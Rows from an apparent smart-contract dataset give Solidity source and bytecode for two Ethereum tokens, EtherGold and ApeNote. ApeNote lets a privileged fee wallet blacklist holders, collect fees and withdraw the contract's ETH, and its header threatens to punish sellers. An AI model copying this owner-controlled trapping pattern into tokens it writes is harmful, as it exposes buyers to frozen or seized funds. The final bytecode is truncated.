balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract EtherGold is StandardToken, Ownable {
// Constants
string public constant name = "Ether Gold";
string public constant symbol = "ETG";
uint8 public constant decimals = 4;
uint256 public constant INITIAL_SUPPLY = 390000000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function EtherGold() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
} | 0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101aa57806323b872dd146101cf5780632ff2e9dc146101f7578063313ce5671461020a5780635f56b6fe14610233578063661884631461024b57806370a082311461026d578063715018a61461028c5780638da5cb5b1461029f57806395d89b41146102ce578063a9059cbb146102e1578063d73dd62314610303578063dd62ed3e14610325578063f2fde38b1461034a575b600080fd5b34156100f557600080fd5b6100fd610369565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610139578082015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017f57600080fd5b610196600160a060020a03600435166024356103a0565b604051901515815260200160405180910390f35b34156101b557600080fd5b6101bd61040c565b60405190815260200160405180910390f35b34156101da57600080fd5b610196600160a060020a0360043581169060243516604435610412565b341561020257600080fd5b6101bd610592565b341561021557600080fd5b61021d61059c565b60405160ff909116815260200160405180910390f35b341561023e57600080fd5b6102496004356105a1565b005b341561025657600080fd5b610196600160a060020a0360043516602435610637565b341561027857600080fd5b6101bd600160a060020a0360043516610731565b341561029757600080fd5b61024961074c565b34156102aa57600080fd5b6102b26107be565b604051600160a060020a03909116815260200160405180910390f35b34156102d957600080fd5b6100fd6107cd565b34156102ec57600080fd5b610196600160a060020a0360043516602435610804565b341561030e57600080fd5b610196600160a060020a0360043516602435610916565b341561033057600080fd5b6101bd600160a060020a03600435811690602435166109ba565b341561035557600080fd5b610249600160a060020a03600435166109e5565b60408051908101604052600a81527f457468657220476f6c6400000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a038316151561042957600080fd5b600160a060020a03841660009081526020819052604090205482111561044e57600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561048157600080fd5b600160a060020a0384166000908152602081905260409020546104aa908363ffffffff610a8016565b600160a060020a0380861660009081526020819052604080822093909355908516815220546104df908363ffffffff610a9216565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610525908363ffffffff610a8016565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b65038c0a1d580081565b600481565b60035433600160a060020a039081169116146105bc57600080fd5b80151561060157600354600160a060020a039081169030163180156108fc0290604051600060405180830381858888f1935050505015156105fc57600080fd5b610634565b600354600160a060020a031681156108fc0282604051600060405180830381858888f19350505050151561063457600080fd5b50565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561069457600160a060020a0333811660009081526002602090815260408083209388168352929052908120556106cb565b6106a4818463ffffffff610a8016565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60035433600160a060020a0390811691161461076757600080fd5b600354600160a060020a03167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a031681565b60408051908101604052600381527f4554470000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561081b57600080fd5b600160a060020a03331660009081526020819052604090205482111561084057600080fd5b600160a060020a033316600090815260208190526040902054610869908363ffffffff610a8016565b600160a060020a03338116600090815260208190526040808220939093559085168152205461089e908363ffffffff610a9216565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205461094e908363ffffffff610a9216565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610a0057600080fd5b600160a060020a0381161515610a1557600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610a8c57fe5b50900390565b81810182811015610a9f57fe5b929150505600a165627a7a723058207b27efca906e09b613c7061dab4af6b4618e9f73768cbe891c63ff7dbccaeb500029 | {"success": true, "error": null, "results": {}} | 10,666 |
0xf1a324524daa99b7661b090bba0fe74355d183d0 | /**
t.me/apenote
Jeets will be punished.
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ApeNote is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e17 * 10**9;
string public constant name = unicode"ApeNote"; ////
string public constant symbol = unicode"ANOTE"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeAddress1;
address payable public _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 10;
uint public _sellFee = 10;
uint public _feeRate = 9;
uint public _maxTradeAmount;
uint public _maxWalletHoldings;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[to], "Transfer failed, blacklisted wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (24 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxWalletHoldings, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxTradeAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxTradeAmount = 500000000000000 * 10**9; // .5% for first 2 minutes after launch
_maxWalletHoldings = 2500000000000000 * 10**9; // 5% for first 24 hours
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 5);
require(sell <= 5);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function setBot(address botwallet) external {
require(_msgSender() == _FeeAddress1);
_isBot[botwallet] = true;
}
function delBot(address botwallet) external {
require(_msgSender() == _FeeAddress1);
_isBot[botwallet] = false;
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106102085760003560e01c80635090161711610118578063a9059cbb116100a0578063c9567bf91161006f578063c9567bf914610730578063db92dbb614610747578063dcb0e0ad14610772578063dd62ed3e1461079b578063e8078d94146107d85761020f565b8063a9059cbb14610686578063b2131f7d146106c3578063c3c8cd80146106ee578063c888875d146107055761020f565b806370a08231116100e757806370a08231146105b1578063715018a6146105ee5780638da5cb5b1461060557806394b8d8f21461063057806395d89b411461065b5761020f565b8063509016171461051d578063590f897e146105465780636b5caec4146105715780636fc3eaec1461059a5761020f565b806327f3a72a1161019b5780633bbac5791161016a5780633bbac579146104365780633bed43551461047357806340b9a54b1461049e57806345596e2e146104c957806349bd5a5e146104f25761020f565b806327f3a72a1461038a578063313ce567146103b557806332d873d8146103e0578063367c55441461040b5761020f565b80630ee35cbf116101d75780630ee35cbf146102ce57806318160ddd146102f957806323b872dd14610324578063273123b7146103615761020f565b806306fdde03146102145780630802d2f61461023f578063095ea7b3146102685780630b78f9c0146102a55761020f565b3661020f57005b600080fd5b34801561022057600080fd5b506102296107ef565b6040516102369190612cc0565b60405180910390f35b34801561024b57600080fd5b5061026660048036038101906102619190612d45565b610828565b005b34801561027457600080fd5b5061028f600480360381019061028a9190612da8565b610926565b60405161029c9190612e03565b60405180910390f35b3480156102b157600080fd5b506102cc60048036038101906102c79190612e1e565b610944565b005b3480156102da57600080fd5b506102e3610a10565b6040516102f09190612e6d565b60405180910390f35b34801561030557600080fd5b5061030e610a16565b60405161031b9190612e6d565b60405180910390f35b34801561033057600080fd5b5061034b60048036038101906103469190612e88565b610a29565b6040516103589190612e03565b60405180910390f35b34801561036d57600080fd5b5061038860048036038101906103839190612d45565b610c1a565b005b34801561039657600080fd5b5061039f610cd6565b6040516103ac9190612e6d565b60405180910390f35b3480156103c157600080fd5b506103ca610ce6565b6040516103d79190612ef7565b60405180910390f35b3480156103ec57600080fd5b506103f5610ceb565b6040516104029190612e6d565b60405180910390f35b34801561041757600080fd5b50610420610cf1565b60405161042d9190612f33565b60405180910390f35b34801561044257600080fd5b5061045d60048036038101906104589190612d45565b610d17565b60405161046a9190612e03565b60405180910390f35b34801561047f57600080fd5b50610488610d6d565b6040516104959190612f33565b60405180910390f35b3480156104aa57600080fd5b506104b3610d93565b6040516104c09190612e6d565b60405180910390f35b3480156104d557600080fd5b506104f060048036038101906104eb9190612f4e565b610d99565b005b3480156104fe57600080fd5b50610507610e80565b6040516105149190612f8a565b60405180910390f35b34801561052957600080fd5b50610544600480360381019061053f9190612d45565b610ea6565b005b34801561055257600080fd5b5061055b610fa4565b6040516105689190612e6d565b60405180910390f35b34801561057d57600080fd5b5061059860048036038101906105939190612d45565b610faa565b005b3480156105a657600080fd5b506105af611066565b005b3480156105bd57600080fd5b506105d860048036038101906105d39190612d45565b6110d8565b6040516105e59190612e6d565b60405180910390f35b3480156105fa57600080fd5b50610603611121565b005b34801561061157600080fd5b5061061a611274565b6040516106279190612f8a565b60405180910390f35b34801561063c57600080fd5b5061064561129d565b6040516106529190612e03565b60405180910390f35b34801561066757600080fd5b506106706112b0565b60405161067d9190612cc0565b60405180910390f35b34801561069257600080fd5b506106ad60048036038101906106a89190612da8565b6112e9565b6040516106ba9190612e03565b60405180910390f35b3480156106cf57600080fd5b506106d8611307565b6040516106e59190612e6d565b60405180910390f35b3480156106fa57600080fd5b5061070361130d565b005b34801561071157600080fd5b5061071a611387565b6040516107279190612e6d565b60405180910390f35b34801561073c57600080fd5b5061074561138d565b005b34801561075357600080fd5b5061075c6114b9565b6040516107699190612e6d565b60405180910390f35b34801561077e57600080fd5b5061079960048036038101906107949190612fd1565b6114eb565b005b3480156107a757600080fd5b506107c260048036038101906107bd9190612ffe565b6115e3565b6040516107cf9190612e6d565b60405180910390f35b3480156107e457600080fd5b506107ed61166a565b005b6040518060400160405280600781526020017f4170654e6f74650000000000000000000000000000000000000000000000000081525081565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610869611b1d565b73ffffffffffffffffffffffffffffffffffffffff161461088957600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405161091b919061309d565b60405180910390a150565b600061093a610933611b1d565b8484611b25565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610985611b1d565b73ffffffffffffffffffffffffffffffffffffffff16146109a557600080fd5b60058211156109b357600080fd5b60058111156109c157600080fd5b81600b8190555080600c819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1600b54600c54604051610a049291906130b8565b60405180910390a15050565b600f5481565b60006a52b7d2dcc80cd2e4000000905090565b6000601160009054906101000a900460ff168015610a915750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610aea5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610b5e573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b549061312d565b60405180910390fd5b5b610b69848484611cf0565b600082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610bb5611b1d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bfa919061317c565b9050610c0e85610c08611b1d565b83611b25565b60019150509392505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c5b611b1d565b73ffffffffffffffffffffffffffffffffffffffff1614610c7b57600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610ce1306110d8565b905090565b600981565b60105481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dda611b1d565b73ffffffffffffffffffffffffffffffffffffffff1614610dfa57600080fd5b60008111610e3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e34906131fc565b60405180910390fd5b80600d819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600d54604051610e759190612e6d565b60405180910390a150565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ee7611b1d565b73ffffffffffffffffffffffffffffffffffffffff1614610f0757600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051610f99919061309d565b60405180910390a150565b600c5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610feb611b1d565b73ffffffffffffffffffffffffffffffffffffffff161461100b57600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110a7611b1d565b73ffffffffffffffffffffffffffffffffffffffff16146110c757600080fd5b60004790506110d5816125ff565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611129611b1d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ad90613268565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601160029054906101000a900460ff1681565b6040518060400160405280600581526020017f414e4f544500000000000000000000000000000000000000000000000000000081525081565b60006112fd6112f6611b1d565b8484611cf0565b6001905092915050565b600d5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661134e611b1d565b73ffffffffffffffffffffffffffffffffffffffff161461136e57600080fd5b6000611379306110d8565b9050611384816126ec565b50565b600e5481565b611395611b1d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611422576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141990613268565b60405180910390fd5b601160009054906101000a900460ff1615611472576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611469906132d4565b60405180910390fd5b6001601160006101000a81548160ff021916908315150217905550426010819055506969e10de76676d0800000600e819055506a0211654585005212800000600f81905550565b60006114e6600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166110d8565b905090565b6114f3611b1d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157790613268565b60405180910390fd5b80601160026101000a81548160ff0219169083151502179055507ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb601160029054906101000a900460ff166040516115d89190612e03565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611672611b1d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f690613268565b60405180910390fd5b601160009054906101000a900460ff161561174f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611746906132d4565b60405180910390fd5b6000737a250d5630b4